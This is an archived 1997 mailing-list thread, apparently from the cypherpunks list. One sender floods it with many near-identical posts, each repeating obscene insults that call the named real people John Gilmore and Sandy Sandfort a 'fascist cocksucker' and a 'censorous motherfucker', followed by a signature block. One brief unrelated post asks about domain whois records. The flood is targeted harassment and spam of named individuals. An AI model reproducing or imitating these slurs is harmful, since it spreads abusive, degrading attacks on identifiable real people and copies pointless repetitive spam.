<855771164.523219.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:57:07 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:57:07 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770999.521802.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:57:08 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:57:08 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770980.521637.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:57:13 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:57:13 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771103.522707.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From jya at pipeline.com Wed Feb 12 10:57:14 1997 From: jya at pipeline.com (John Young) Date: Wed, 12 Feb 1997 10:57:14 -0800 (PST) Subject: whois cypherpunks.org ? Message-ID: <1.5.4.32.19970212184941.006e33c4@pop.pipeline.com> On the Ft. Meade addresses for two of the cpunk domains, was there not a humorous explanation for this posted a couple of years back? Dimly remembered: there's a town of Ft. Meade as well as The Mad Fort itself, or something like that, and that a mail drop would be handy for swapping useless bits of bs-buffer overflow. If this is now classified, hit D, Degausse and deodorize your Farradage! From paul at fatmans.demon.co.uk Wed Feb 12 10:57:15 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:57:15 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771129.522918.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:57:19 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:57:19 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771043.522197.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:57:21 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:57:21 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771066.522385.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:58:04 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:58:04 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770947.521303.0@fatmans.demon.co.uk> John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous 